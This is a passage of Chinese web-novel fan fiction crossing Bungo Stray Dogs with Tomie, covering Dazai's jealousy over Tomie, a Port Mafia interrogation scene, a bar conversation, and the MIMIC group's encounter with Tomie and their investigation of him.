太宰先生虽然是港口Mafia, 但宫水富江知道对方是个好人。 而作为对方部下的这个少年显然也是如此, 即便同样加入了港口Mafia，也没有坏到哪里去。 “说起来，太宰先生最近还好吗？” 虽然上次宫水富江有发消息让中原先生帮他看看太宰先生的情况，但就在前两天对方表示自己要出差没有办法帮他。 说不失望是假的, 可宫水富江并未觉得这是对方的问题。就在思考该怎么和太宰先生见一面好好聊一聊的时候，没有想到会在这里遇到对方的部下。 这就是天无绝人之路吗？ 宫水富江心中略微惊喜想到。 “太宰先生、……在下、……” 可他这句话似乎触动到了对方哪里，对方的动作越发僵硬，语气低沉而不自在。 就在宫水富江困惑的时候，一道嗡嗡作响的声音在这宽阔的空间响起。 宫水富江顺着声音的来源望去，发现少年用极快的速度从对方风衣的口袋中拿出了一只手机。 在看到上面的名字后，如同得救了般松了口气，紧接着迅速接通了电话。 “中西先生。”少年如此对着电话另一头开口。 宫水富江不好打断，只好看着少年站在原地通电话。 不知道电话那头的人说了什么，少年原本如释重负的神情立即消失，转而睁大了双眸。 直至好几秒后，对方才抿了抿唇，低语了句，“……我知道了。” 少年说完挂断了电话，灰色的眼眸凝重地侧看了他一眼。 宫水富江没有看明白对方的想法，但是对方似乎有什么深意。 就在宫水富江想着要不要说点什么缓和一下两人之间的氛围时，对方突然开口，“……在下还有事情要去做，就先告辞了。” 说完，对方头也不回地快速离开。 看着黑色的异能力在对方身边出现，速度比奔跑还快，宫水富江充满了不解。 所以—— “这个人也不愿意说吗？”宫水富江充满了困惑，紧接着他冒出了一个想法，“还是说太宰先生最近要做的任务很重要，所以需要保密？” 毕竟连续两个人在某种程度上都拒绝了他的要求，他也难免会生出这种想法。 不过就算他再怎么猜测，现在也没有人可以回答他的问题。 * 芥川龙之介略显狼狈地逃离对方的所在之处，使用异能力快速朝着港口Mafia所在的方向赶回去。 同时，心里却不断回忆着之前的场景。 在黑发少年快速地靠近后，他便感觉到自己的内心多了一丝欣喜。 可是没有等多久，这份情绪便因为对方口中提起的太宰先生而消散，随之而来的是复杂又难以言喻的情绪。 他无法理解，可又不知道该怎么做。 太宰先生的命令和少年的话语在两边拉扯着他的理智，想要回答又想离开的心情开始交织。 就在这个时候，电话的震动声如同地狱中突然出现的、拯救他离开那里的蛛丝。 他毫不犹豫地沿着蛛丝攀爬，却没有想到另一端也是地狱。 【“太宰先生表示在你解决完那几个人之后，回到地下审讯室复命。”】 这句话瞬间给芥川龙之介浇上一层凉水，在他身心凉透的同时理智清晰了不少。 在意识到自己做了什么后，他当机立断决定立即离开这里。 想到这里，芥川龙之介收回异能力停了下来。 出现在他面前的赫然是港口Mafia总部大厦的大门。 “咳咳咳……”捂着口鼻，他按照记忆中的路线来到了地下审讯室的位置。 可来到路口望着向下的楼梯，想到近在咫尺的太宰先生。芥川龙之介不仅没有自己想象中的欣喜，反而多了几分迟疑。 最终在犹豫之后，他还是继续朝着下方走去。 哒哒声响起，这是他在楼梯上发出的脚步声。 越是往下，周围的光线越是昏暗，与此同时响起的，还有下方瘆人的叫喊声。 这不是芥川龙之介第一次来到这里，但是每次来到这里听到这种声音，他还是不由得会轻蹙眉头。 他想，只有内心不坚定之人才会因为身体上的疼痛而出卖自己身后的组织。 这种家伙，完全没有任何存在的必要。 ——可除了他之外，他的同事似乎并不这么想。 思索到这里，芥川龙之介终于来到了地下审讯室内。 这里像是从地面挖掘出来的、空洞的四方体，除了必要的承重柱外，一切破旧的就像是几十年前才会有的风格。 他灰色的眼眸看向室内。 承重柱上被吊挂着几个男人，他们奄奄一息，身上尽是皮开肉绽的深口。虽不致命，但也好不到哪里去。 而在他们的身边站着的则是几名眼熟的同事，他们的手中正拿着什么刑具。 再往前看去就会发现面前，那些刑具显然是从不远处的桌椅拿过来的。 而桌椅上坐着的正是他此次复命过来要见的上司——太宰治。 对方坐在座椅上，双腿摆放在桌面上，正注视着不远处受刑的几人打着哈欠，慵懒的像是在观看无法提起兴趣的无聊歌剧。 大概是听到了他的脚步声，对方头也没回地对着他开口。 “芥川，已经解决完了吗？” 芥川龙之介走到太宰先生面前的不远处，低头安静回答，“在下已经完全解决了那几个人，绝对没有活口！” “是这样嘛，既然这样等一下我喊中西他找人收一下尾。”对方懒散地回答着，似乎对于他所做的一切没有太看重。 芥川龙之介微微垂头，说没有任何失落是不可能的——哪怕在几分钟前，他还对出现在太宰先生面前这件事情有所迟疑。 “真是的……” 芥川龙之介抬起头，发现黑发青年正看着不远处被审讯的人而发出抱怨的声音，“看来我的部下手段还是不太够呢，到现在过去半个小时了，居然什么都没有审问出来……” 芥川龙之介不太懂，但还是顺着对方的话语看向了那边正审讯着的同事。 对方似乎也听到了太宰先生的话语，身体反应出了明显的抖动，但很快他快速甩动带刺的鞭子落到被他审讯的人身上。 对方再次发出了几声嚎叫，响彻着整个空间。 可这个人依然没有吐露出任何话语，而是承受着这一切的痛苦。 芥川龙之介面不改色地看着这一幕。 “可以了，你的水平糟糕的让我怀疑你真的是我的部下吗……” “你下去，换另一个过去审讯。” 太宰先生的声音从他的身侧响起，语气中的不耐烦展现得淋漓尽致。 随着上司的话音落下，那个人沮丧着头离开，另一个喊不出名字的同事顶替了对方，交接了审讯的工作。 又过了几分钟，芥川龙之介的身侧再次发出了响动。只不过这次不是太宰先生传来了声音，而是对方站起来的声音。 他迅速抬头过去，只见对方双手插在风衣口袋。 “行了，接下来的工作就交给你们了。” “审问出来之后，就通知中西告诉我结果。” 说完，对方转身离去，看架势是要离开这里。 芥川龙之介见状下意识走到对方身后，“太宰先生……” 他想要说点什么，比如他接下来该做什么。可是刚喊出对方的称呼，对方就倏地停下了脚步。 这个举动猝不及防，令芥川龙之介下意识撞上了黑发青年。但好在，他也及时停下了脚步，没有造成更大的困扰。 只不过这个举动似乎吸引到了其余人的注意，虽然他们的目光没有停留在他们身上，也没有因此停下自己手中该做的事情。 可芥川龙之介还是敏锐地打量到了几道视线，往他们身上移动。 芥川龙之介轻蹙眉头，对于别人这种目光感到了不适。 可还没有侧头看向那些人，他的身前就传来了低沉而困惑的嗓音。 “芥川？” 芥川龙之介被拉回注意力，他立即回应，“是。” 抬头望过去，只见黑发青年歪着头缓缓转过身来望着他。 对方的动作缓慢，同时唯一没有被绷带缠绕的眼眸，不知道是因为背光还是别的原因，正如死谭般发黑，并一眨不眨地盯着他看。 这幅画面令芥川龙之介感觉到了不妙，恐惧的情绪从心底升起，原本站立不动的双腿正想要往后撤退。 “芥川你……” 不同于之前懒散的音色，这次黑发青年的语气更加低沉沙哑，像是从地狱爬出来的恶鬼。 芥川龙之介睁大眼眸，细汗从额头冒出。 终于，他听清楚了面前上司的话语。 对方凝视着他，低语道： “——又见到富江了？” ** 香味。 太宰治从芥川龙之介的身上闻到了熟悉的香味。 虽然黑发少年毫无自知之明，并对他解释这也许是洗发水或者沐浴露的香味，但太宰治心里很清楚，这是对方身上独有的体香。 因为事后，他也曾命令下属将市面上的香水买了过来，一一寻找。 结果就是，没有一款香水与他身上的味道一样。 所以，太宰治才会得出这个结论。 而现在，这股熟悉的香味又从芥川龙之介的身上出现。 虽然不多，像是路上被猫蹭了一腿毛的那种既视感，但这也说明了一件事——芥川龙之介与宫水富江见了面。 想到这里，太宰治面无表情地看着面前这个满头大汗、神情紧张的少年，“我记得我曾经命令过你吧，芥川？” 对方身体僵硬，但还是磕磕巴巴地开口，“是、是，在下记得……” “——‘不许靠近富江’。” 他抿了抿唇，最终说出了那句太宰先生说过的、可他不想说出口的话语。 可是刚说完，他又马上抬起头对面前因为额前刘海遮掩而看不清楚神情的黑发青年解释，“但是在下绝对不是故意与对方见面的！” 对方没有说话，疑似在听他解释。 见状，芥川龙之介继续道。 “是在追杀敌人的途中偶遇的，在下真的没有特意、……” “——我知道。” 黑发青年出言打断了他更多的话语，芥川龙之介停住，就当他以为太宰先生明白松了口气的时候，又听到对方的声音响起。 “但是，芥川。” 在芥川龙之介的目光中，黑发青年微微抬起了下颚，那双黑到宛如空洞的眼眸倒映出他的身影，甚至他还能清楚地看见对方瞳孔中自己紧张害怕的神情。 “没有特意与对方见面，并不代表着你没有停下来与对方短暂地接触过一段时间……不是吗？” 看似反问，但对方的话语带着不容置疑的确信。 芥川龙之介双眸睁大，因为对方说的都是真的。 “在下、在下那是……”他喃喃着想要说点什么，可却又说不出个所以然。 他该怎么说？自己当时无法控制自己的身体？又或者，自己当时鬼迷心窍了？ 无论是前者，还是后者，听起来都像是孩子撒的谎言——没有可信度。 就在芥川龙之介张嘴不知所措的时候，他眼中的黑发青年身形一动。 下一刻，他的腹部传来疼痛。 芥川龙之介下意识被打到后退，捂住了自己腹部的同时压抑口中的声音。 他抬起头，看着面前右手握成拳头的黑发青年，终于明白刚刚发生了什么。 ——太宰先生朝他腹部揍了一拳。 “我也说过，那是命令，而不是警告。” “既然违背了，那就做好违背命令的惩罚。” 黑发青年的话语冰冷而残酷，但却莫名地令芥川龙之介的心情好受了很多。 比起被两边拉扯的不适，这种感觉要更容易令他接受。 他按压着自己的腹部，踉踉跄跄地站直身体，“……是。” 见到他这副样子，黑发青年似乎也有所触动。 芥川龙之介听到对方的叹息和话语。 “芥川，这是为了你好。” 留下这句话，对方离开了地下审讯室。 ** 横滨今晚的夜空不断下着雨，但尽管这样，Lupin酒馆内却还是那样安静和谐。 等织田作之助收起伞从楼梯上走下来的时候，他发现老位置的吧台前已经趴坐着一位眼熟的黑发青年。 “好早啊，太宰。” 将雨伞放好后，他来到对方右侧坐下，对其开口。 听到他的声音，吧台上的黑发青年终于动了动。 对方坐起身，面朝着他。 “因为不想做任务了，所以干脆早点来这里了……”黑发青年回答道。 织田作之助朝老板要了杯酒，“说起来，我好像听说中原先生似乎出差了？是因为这个，所以更多的任务落到了你的身上，以至于你不想做任务的吗？” 黑发青年戳了戳威士忌酒杯中的冰球，在它和杯壁接触碰撞发出声音后，神情恹恹地回答，“可惜，完全不是这样呢……” “唔……” 就在织田作之助沉吟的期间，老板将调好的酒杯推到他的面前。 他举起手中的酒杯淡淡地抿了一口，然后继续询问。 “那就是因为中原先生不在，失去了争吵的对象而无聊？” 黑发青年：“……？” 太宰治坐起身，颇为无奈地看着身旁红发青年开口，“有的时候真的觉得织田作你的思维跳转得太厉害了……话说，倒不如说那只蛞蝓不在反而令我高兴呢！” 织田作之助淡定回答，“好吧。” “……算了。”太宰治也不想继续这个话题，于是话锋一转，“织田作知道吗？” “什么？” “安吾啦安吾。”他说出了这个名字，然后在对方的目光中继续道，“安吾终于在出差三个月后，在今天抵达了东京机场。” 织田作之助张了张嘴，刚想说点什么，就听到身后上方传来了房门打开的声音，紧接着就是皮鞋下楼梯发出的“哒哒哒”的响声。 两人同时朝着楼梯口望去，随着声音越近，人影逐渐清晰地出现在两人的视野中。 “刚刚在楼上就听到太宰喊着我名字的声音了……” 最终，这个人竖着大背头，戴着圆形眼镜嘴角带着黑痣的男人出现在他们面前开口，然后熟稔地对着他们打起了招呼，“好久不见，太宰，织田作先生。” “好久不见，安吾。”织田作之助同样打起了招呼。 反倒是黑发青年，不知道盯着对方的身影好一会儿才缓缓开口，“感觉这么久过去，安吾的头发又稀疏了不少呢。” 坂口安吾原本的心情顿时消失，转而黑着脸对着黑发青年回答，“哈？说得也是呢，我可比不上这位港口Mafia史上最年轻的干部大人呢。” “我可是听说了，你在我出差的期间不仅包养了情人，似乎还做了为其出头的事情……对吧？” 说完，他来到太宰治的左侧坐下。 正对着老板继续开口，“啊，我今晚是开车来的，所以麻烦请给我一杯番茄汁。” 太宰治直勾勾地盯着身侧的坂口安吾，直至老板将番茄汁送到对方面前，他才缓缓开口，“……我该说不愧是情报分子出身的安吾吗？你这才落地日本几个小时，居然已经知道了这么多事情？” 坂口安吾喝了一口番茄汁，滚动着喉咙的同时感受着舌尖上的甜味。 听到太宰治的话语，他瞥了对方一眼回答，“倒不如说，你小瞧了人类喜欢八卦的能力。” “实际上，我落地的第一个小时内就知道了这些事情。”接着又说，“还听说今天下午，你还因为那个情人揍了你新收的直属部下？” “……” “诶？还有这种事情啊？怪不得刚刚太宰一直闷闷不乐……” 不同于默不作声的黑发青年，织田作之助颇为新奇地听着坂口安吾带来的信息，切身告知黑发青年刚刚坂口安吾所说的话语究竟有多么真理。 坂口安吾听到织田作之助的话语，反而有些诧异。 他抬了抬镜框，“等等，听织田作先生你这么说……难道这个不是谣言？” 眼看坂口安吾这么说，黑发青年终于忍不住，“……喂，你们还记得你们口中八卦的正主就在你们面前吗？” 坂口安吾淡定回答，“正是因为正主在面前才更想询问。” “所以，是真的吗？”他与黑发青年的鸢眸对视询问。 织田作之助握着手中的酒杯不说话，但目光同样落在黑发青年的身上。 同时被两人注视，对于黑发青年来说似乎并不是什么大事。 他安静地低着头，不知道在想些什么。直至悠长的古典音乐换了一曲，黑发青年才终于有了动作。 “真的……吗。”他抬起头，双眸黑暗无光地注视着前方，重复着坂口安吾刚刚的话语。 然后，抬起头看着天花板回答，“其实这种事情无论是真的还是假的都无所谓，但是有一件事我必须清楚地忠告安吾和织田作你们两个人……” 他侧过头，与两人对视道，“不要与他对视，也不要听他说话。” 昏暗的灯光下，他们同时看到了黑发青年难得露出了认真的神色。 第38章 上次遇到太宰先生部下的事情像是黄粱一梦, 等宫水富江回神，他已经一连好几天没有遇到任何有用的线索。 “哎……” 坐在不知道具体名字的海岸公园墓地附近，宫水富江眺望着不远处的仿佛近在咫尺的海面叹息了一口气。 这几天, 他已经将自己能找的地方都找了个遍，可显然他目前只是在做无用功。 这不得不令他思考, 产生一个猜测——太宰先生故意在躲避他。 因此，才用这样的冷暴力来让他自觉地离开。 可对于太宰先生为什么躲避自己的理由, 宫水富江却无论怎么苦思冥都想找不到原因。 是上次入水聊天时令对方不开心了吗？还是说，在更久之前被当成太宰先生的软肋而令对方产生了远离他这样的人才是最好的想法？ 宫水富江不由得想到自己曾和中原先生说过的话语，虽然他被绑架并非是太宰先生和中原先生的错，但是他作为容易被盯上的目标, 他也该做点什么。 比如…… ——更好地利用自己的体质。 这里是个到处都存在危险的世界，充满着犯罪，盘踞着众多势力错综复杂的组织。枪支泛滥, 还有更多比热武器还要厉害的异能力者。 也许不经意间身旁走过的路人，就是杀人不眨眼的恶徒。 他刚开始以为这个体质只是个麻烦, 可现在想想也许并不完全是这样。 虽然带来的负面效果众多, 但只要好好利用，比起真正的普通人而言, 他还有自保的能力。 换句话说，如果他不会成为那种容易被盯上的目标, 那么太宰先生也许就不会躲避他。 想到这里, 宫水富江只觉得豁然开朗。 既然如此, 他接下来该做的事情就应该是…… “你、你好？” 身后传来陌生且拥有奇怪腔调的声音，宫水富江下意识回头看去。 那是一名披着深色的衣袍、并未戴上衣袍上的帽子、看起来衣衫褴褛的男人，对方脸颊的轮廓分明，眼眶深邃, 显然是外国人。 ……流浪汉吗？ 宫水富江微微歪了歪头，对面前这个外国人的身份猜测起来。 这名外国流浪汉注意到他没有任何举动，再次吸引他的注意力，“你好？Hello？” 见他没有反应，这个人嘀嘀咕咕着说着什么在宫水富江看来模糊的话语，隐隐分辨才发现对方好像在抱怨自己来日本的时候没有好好学习日语。 宫水富江眨了眨眼，不想过多交谈给自己增添麻烦的他，将自己之前摘下的口罩戴了上去，并准备撑开遮阳伞离开这里。 可是当他站起身转身离开，这个意思流浪汉的外国人便焦急地拽住了他的肩膀。 “站、站住！” 宫水富江下意识被拉了个踉跄，他神色不爽地侧头看向身后的人，缓缓开口，“……有什么事情吗？” 对方听到他说话，瞬间眼眸睁大，紧接着表情欣喜若狂起来。 他用着磕磕巴巴且蹩脚的日语开口，“那、那个就是……你、你长得很美丽？对，没错，就是美丽！所以，我想问问你……” “我能知道你的名字吗？” 宫水富江不明所以地看着面前的人，表情有点奇怪。 这算什么？搭讪吗？ 虽然他总是被骚扰，但是这么明显的搭讪还是第一次。可能这就是国内外的文化差异吧。 这么想着，宫水富江表情才算正常起来。 他面无表情地对着面前的人开口，“抱歉，我想回家了。” 大概是因为表情原因，连带着语气听起来都带着浓浓的不耐烦。 他抬起自己的右手，想要将对方拽住他的手臂打掉。 可是很快，他发现自己的动作相对比面前这个家伙更加弱小。 宫水富江轻蹙眉头，对着面前的外国流浪汉音量逐渐变大，“没听到我说的吗？我想回家了！” 然而这个外国流浪汉，就像是抓着婴儿的巨人，即使被这样捶打也毫不在意。 倒不如说，看见他的反应，这个外国流浪汉的脸上甚至带着欣喜的笑容。 “你、你的名字。” 宫水富江拒绝对方，“我不是很想说，能请你把手放开吗？” “Sorry，I cant understand.（对不起，我听不懂。）” 倏地，对方突然用英文回答了他一句话。 可是看着这个外国流浪汉的神情，宫水富江敢保证对方其实就是故意装作没有听懂他说话。 毕竟要是真没听懂，对方早就在他最开始说出这句话的时候，就这样表示才对！ 所以对方就是故意的！ 宫水富江的脑海里瞬间冒出这个想法。 看着对方愈发眼熟的神情，宫水富江立即从口袋中拿出枪支威胁面前的外国流浪汉。 如果对方就这样放弃是最好的，可如果对方无论怎么说都不肯放弃…… “你、……” 可是宫水富江刚想说点什么，对方在看见他手中的枪支后，原本的神情突然怔了一下，随后露出了更加灿烂的笑容。 “I never thought even a cute little thing like you would have a gun but its still too early for you to handle it.（没有想到连你这样的小可爱也会拿着枪……但是他对你来说还太早了些。）” 在刚刚那句之后，这个外国流浪汉全然放弃了用日语与他交流。 得幸亏宫水富江是一名才上大学没两年的大学生，不然等他的英语全部还给老师，他就真的连对方话语中的意思都猜不中了。 所以，对方这句话的意思是觉得他不会真的开枪吗？ 宫水富江轻蹙眉头，相当不愉悦。 如果是刚来这里的他确实是这样，可现在的他…… 想到这里，宫水富江附在扳机上的手指逐渐施力。 可宫水富江唯独没有想到，对方其实并不是觉得他不会开枪，而是他开枪在这个外国流浪汉的眼中看来，与拿着玩具的孩童无异。 对方轻而易举地打中他持枪的手臂，在他因为疼痛而松手的时候抢夺走了他的枪支。 对方这一系列操作行云流水，不仅如此，对方还在拿走了他的枪之后，快速地拆解、组装，然后下意识拉拉枪栓、扣扣扳机，像是在检查这支手枪的功能正常。 宫水富江从对方的这种举动中看出了异常，这种宛如职业病般标准的流程，就好像对方曾经是位军人。 如果真是这样，对上这个家伙对他来说完全不利。 意识到这点，宫水富江完全不想再和面前的外国流浪汉继续待下去。他打算早点离开，哪怕就算这支枪也不要的情况下。 趁着对方松开的这个间隙，宫水富江准备就这样离开，刚小心翼翼地移动了自己的脚步，他发现这个外国流浪汉身后传来了两道英文。 越过对方，身后两个身影愈发靠近。宫水富江看到了他们身上如出一辙的深色衣袍和外国人面孔。 对方不是那种简单流浪到这里的。 宫水富江想，如果只是一个还能说是偶然，可同时出现了好几位，那么大概率是有目的的行动。 但又是什么样的目的，能使得几名甚至十几、几十名军人伪装成流浪汉出现在这里呢？ 宫水富江察觉到了什么，可奇怪的是他不仅没有任何担忧和害怕，甚至心里隐隐出现了一丝窃喜。 因为这样一来…… ‘——他好像可以过分一点地对待他们了。’ …… 最先搭讪黑发少年的MIMIC成员在发觉身后的两名同伴后，对他们讲述了黑发少年的事情。 虽然来到这里是为了追随司令官找到能赋予他们死亡的人或者方式，但是对于这个从未来过的新奇的国家，他们的心中始终抱有一份好奇。 在看见黑发少年背影的那一刻，他第一次感觉到了不同于在战场上心情的激烈跳动，特别是看见对方的正脸的时候。 他第一次知道什么是东方美，如宝石般光泽的发丝、白皙滑嫩的皮肤以及眼尾带着若有若无勾引人的泪痣，结合在对方的身上，他才知道美丽从不分国界。 这一刻，他觉得这个黑发少年比他以前见过的美人更加美丽。 虽然通过自己那学艺不精的日语还是听出了对方话语中的拒绝，但他并没有就此放弃。倒不如说，早就和司令官一样将自己作为已死之人的他反而更加没有任何拘束。 所以在同伴到来后，他迫不及待向着他们分享自己的发现。 不知道是不是黑发少年也察觉到了自己的弱小无力，对方不再抵抗，而是站在原地对着他们露出了一个微笑。 那双黑到并不透光的眼眸倒映着他们的身影，紧接着用不太熟练的英文对着他们开口： “I think we could get to know each other better， what do you think（我想我们可以好好认识一下，你觉得呢？）” 在他的视野中，说出这句话的黑发少年身上仿佛散发出了特殊的吸引人的魅力。 他想，只要对方开口，他们之中没有任何一个人可以拒绝黑发少年的请求——只要对方一直这样对待他们。 于是，他回答： “Sure!（当然！）” * 三日后，横滨郊野山区的某处废弃的气象观测所。 一名用黑色兜帽和长帽遮脸的男人站立在这栋别墅宽阔的大厅内，在他的身后站着的是一排又一排如同军队般井然有序的几十名部下。 仔细一看，就会发现这名男人身上散发着军人般的气质和强大的气场。 他摘下遮脸的长帽，露出来的是拥有外国人特征的轮廓分明的脸颊和深邃的眼眶。 就在这个时候，一名同样穿着深色兜帽和长帽遮脸的中年男人走到对方的身边开口。 “司令官，到目前为止通过那名卧底，我们已经多次成功抢夺了港口Mafia的武器库和高级仓库。只是……”他话说到这里顿了一下，随后继续，“就在不久前，我们与另外三名前去袭击港口Mafia名下赌场的士兵失去了联系，他们可能……已经被活捉了。” 司令官，又或者说是作为MIMIC首领的安德烈·纪德面无表情地听着自己的副司令所说的事情，他淡淡开口，“我相信他们。” 他暗红色的眼眸没有丝毫变化继续道，“作为军人，他们绝不会透露有关任何我们的情报。” 说完他转过身，那双眼眸牢牢地注视着面前跟随着他的几十名士兵，目光中满是信任。 只是很快，他轻蹙眉头，像是发现了什么令他不愉悦的事情。 “……少了几个人。”纪德注视着他们回答。 作为司令官，他清楚地记得自己的部队里存在着多少名部下，又因为什么事情失去了几名部下。 在来到横滨，与这里最暴力的组织港口Mafia作对之后，他确实也失去过几名部下。可就算如此，带着刚刚失去的三名部下，现在站在他面前的下属也依然对不上他刚刚计算的数字。 他侧头看向自己的副司令，只见对方举起手中的资料回答，“这也是我想汇报的第二件事，就在这三天里，我们的士兵又无故失踪了三名。” “目前还在调查中。”副司令补充道。 纪德听到这句话，安静地站在原地不知道在想些什么，直至半分钟后，他才有了举动。 他侧身看向窗外，若有所思道，“本来以为这个地方强大的异能力者应该在港口Mafia，现在看来似乎也不尽于此……” “倒是我有些小瞧这个地方了。”纪德的语气像是感叹，又像是欣慰。 在他看来，来到日本这个曾经的战败国只是无奈之举。他本来就不对这里抱有太多的期待，如果能实现目标最好，如果无法实现，他们将会去往别的地方继续寻找。 可现在看来，这个国家、……又或者说这块名为横滨的土地，倒是给了他不少的希望。 副司令大概明白司令长的意思，他在等待，等待司令长的话语。 作为部下的他虽然擅长整理资料、辅佐司令长，但对于调查这种事情没有什么天赋，完全比不上在他眼中看来几乎全能的司令长。 “把他们最近行动的资料给我。” 听到这句话，副司令将自己早就准备好的文件递到了对方的手上。 然后他看到司令长目不转睛地盯着那些文件，随着翻页的沙沙声响起，几分钟之后，司令长像是发现了什么喃喃低语。 “三浦海岸公园墓地……吗？” 副司令见状对着一旁等待的士兵点头示意，很快一台笔记本电脑出现在他的面前。 副司令将其摆放在桌面上，用自己的黑客能力快速搜查了刚刚司令长所说的地名。 很快一片风景优美的公园墓地出现在他们的面前，副司令搜查其周围的监控，果不其然地发现了那三名失踪部下的踪迹。 在前面两日内，他发现这三名部下多次出入这个公园墓地，显然是有目的性地出现在这里。直至第三日，三名部下在那之后再也没有踏出来，这才让事态看起来变得诡异。 纪德并未有什么感觉，他反而淡定地对着自己的副司令下达指令，“调查一下同时间段内出现在这里的人。” 随着他的话音落下，副司令的手不停敲打着键盘，直至几分钟后，他通过技术找到了监控中同样频繁出入这块公园墓地的人。 然后选取其中几份监控画面放大，随后出现在他们面前的是一名黑发少年不同角度的诡异画面。 ——黑发少年毫无察觉的往前行走着，可在对方的侧头颅上却莫名又浮现出了一个拥有狰狞人脸的头颅。仔细查看，隐隐还能看到这颗诡异头颅上的人脸似乎在盯着他们笑。 第39章 夜晚, 横滨郊野山区废弃的气象观测所。 “姓名宫水富江，年龄19岁，身高168厘米, 体重……” 在偌大的房间内，副司令为了将笔记本电脑内搜集到的资料投影在白色墙壁上, 更好地展示给自己的司令官看，特意将房间内的灯光关上。 他讲述说白天搜查到的那个黑发少年的信息, 说到年龄的时候，声音甚至也有点难以置信。虽然知道与他们这些欧洲人不同，这边地区的人外貌比实际年龄更小，但他还是不觉得对方已经成年了。 他顿了顿, 然后将投影的资料翻到下一页。 副司令开口继续道，“根据我所调查出来的情报，这个人与港口Mafia的关联很大。” 坐在副司令不远处座椅上的纪德神色微动, 重复道，“和港口Mafia的关联很大？” 要知道他们与港口Mafia作对的目的不仅仅是为了制造混乱, 也是为了让最可能存在强大异能力者的这个组织动怒找人来杀了他们。 而现在这个黑发少年与三名部下的失踪有关不说, 居然还与港口Mafia也扯上了关系。 纪德并不认为这是某种巧合。 可副司令并不知道司令长的想法，他只是指着上面的资料开口, “对方过去的履历相当普通，唯一值得讲起的应该要从几个月前说起。” “对方因为容貌出众被[YMC]的社长看中收为养子, 但是从这边圈内人的角度来看, 他们都认为宫水富江实际上是在充当[YMC]社长的情人。然而某一天与港口Mafia的重要成员外出谈论合作交易后的第二天, 社长与他真正的儿子同时在家中被暗杀。” “等宫水富江再次出现，已经是在半个月后的某次画展上作为港口Mafia现任干部之一太宰治的女伴出场。” 两者之间的时机太近，身份变化也极为暧昧，说是没有任何关联, 任谁听了都不会轻易相信。 只是…… “宫水富江似乎并不是什么异能力者。”副司令说出自己的猜测，并给出理由，“太宰治的敌人曾因此绑架过宫水富江来威胁太宰治本人，不过最后被其部下所解决了。” 在副司令的眼中，他分不清司令长是什么想法，但他还是继续道，“而且，我还调查到了一件事情。” 副司令再次将投影在墙壁上的内容换到下一页，紧接着出现在上面的画面令纪德下意识睁大了眼眸——那是一幅色彩浓烈的人体油彩画。 ——穿着白色连衣裙的少女栩栩如生地站在画作中央，她的头颅侧边也出现了熟悉的诡异头颅。与少女本身担心害怕的模样不同，那颗诡异头颅的表情狰狞仿佛透过画作紧紧盯着看向这幅画作的众人。 即使是对这种艺术没有任何兴趣和见解的纪德也能感受到这幅人体油彩画的特殊之处，同时他也发现了这幅画作与白日看到的监控所表现出来的画面极为相似——诡异的侧头颅和被影响到而模糊不清的一部分正脸。 这算什么？画师会画成这个样子是因为对方也查看了出现黑发少年身影的监控吗？ “这幅画作的名字叫做《富江》，画师名为才川拓人。正是宫水富江时隔半个月后再次出现的那次画展的画师，当时画展上两人似乎发生了什么冲突。”副司令解释道，随后又继续，“只不过这幅画在被拍卖出来的时候，画师本人已经失踪多时被认定为死亡了。” 副司令看向司令官，想看看对方是什么意见，却发现对方的目光正牢牢地盯着墙壁上的画作。 但他也不是不能理解，即便是这种简陋的环境，被投影出来的画作依然拥有足够的魅力。当他发现这幅画的图片时，也足足盯了十几分钟才舍得移开视线。 “……这幅画现在在哪？” 虽然做好了司令官会提问的准备，但是这个提问的内容确实出乎副司令的意料。 他愣了一下，但还是如实回答了司令官的问题。 “当时拍卖会上，这幅画作被姓熊原的中年企业家买走了。只不过……”副司令顿了顿，“听说买走的一周后，这幅画作在熊原的别墅中突然消失。” “到现在为止，熊原依然在到处寻找那幅画作的线索。” 听到副司令的话语，纪德的眉头微动，心中感到了惋惜。 他想，如果没有消失，他或许可以拿走那幅画作为认出那个黑发少年的指标。 毕竟画作比监控画面要更加清晰是无可厚非的事实。 纪德心想。 可既然画作已经消失，那么现在该做的就是—— “副司令，你发现了没有？” 被司令长提到的副司令顿时端正站姿，在顺着对方的话语想了想后，他茫然地摇了摇头，“……不，我好像什么都没有发现。” 司令长那双暗红的眼眸此刻微微发亮，在这片紧靠投影仪散发着光芒的昏暗房间内显得极具压迫感。 副司令下意识咽了咽口水，回想自己刚刚的回答有没有任何问题。 “他的周围，总是伴随着失踪与死亡。” 司令长的话语慢悠悠的，可所说的内容却并非想象中的那般宁静。 副司令顺着司令长的话语思考，半晌后他回答，“或许是看中他的人不停地在解决他周围那些窥视着黑发少年的人？就像是现在那位港口Mafia的干部一样。” 他觉得[YMC]的社长和他的儿子会死，与对方脱不了关系。而其余人……别的不太清楚，至少那个叫作才川拓人的画师在画展上可是因为接触过少年而惹那个干部生气的存在。 “真的有那么简单吗？”司令长并未否定他的猜测，但话语中却似乎也不觉得仅仅只是这样。 很快，副司令发现司令长站起了身，转身朝着门外走去。 副司令不解地朝着对方所在的位置走了几步，并询问，“司令长？” 司令长停下脚步，回头看向他。 副司令很快得到了司令长的解释，对方回答，“你继续派人去袭击港口Mafia的武器库，而我……” “——则是去海岸公园墓地看看情况。” 话音落下，副司令看到司令长将长帽戴上遮掩脸部，随后不等他回答便离开了这里。 不知道是不是错觉，在对方转头离开前，副司令好像看到了司令长嘴角勾起的弧度。 可是等到司令长的身影不见，回神的副司令又觉得自己想太多了。 只是去海岸公园墓地，并没有什么值得司令长心情愉悦的地方吧。 * 黎明，横滨，海岸公园墓地。 纪德披着自己的深色衣袍躲避着监控出现在了这里，因为时间还太早，他只能依靠微弱的光源查看着周围的环境。 他四处查看，然后顺着记忆中监控的位置来到了黑发少年所行走过的地方慢慢行走。 鼻腔中同时存在着草地的清香和海风咸咸的气息，纪德看着周围的墓地和不远处的海面，有一瞬间的恍惚。 心中情绪复杂，但很快又收敛了视线。 他继续朝着黑发少年行走的路线走着，随着前进的路途越发偏僻，周围的墓碑也在慢慢减少。 可是环顾四周，他也仍未发现那失踪的三名部下的身影。 纪德不得不皱起眉头，监控显示了那三名部下在最后一次进入后便再也没有身影，说明他们肯定仍然还在这个公园墓地的某处。 可是究竟在哪里，才会没有人能够发现他们？ 想到这里，纪德的视线慢慢前移，随后猛地睁大。 他在海岸边发现了一条隐蔽的小路，又或者说是一处看起来因为曾经的塌陷而出现的崎岖路径。 纪德走了过去，顺着这条路径往下查看。果不其然地发现，除了海面外，还有着一个非常隐蔽的洞穴。 只是洞穴里面非常安静，完全看不出来有没有人存在。 纪德不再犹豫，而是沿着这条路径往下滑。碎石顺着他的动作而往下方跌落，灰尘也一并扬起，却并未给他造成半点困扰。 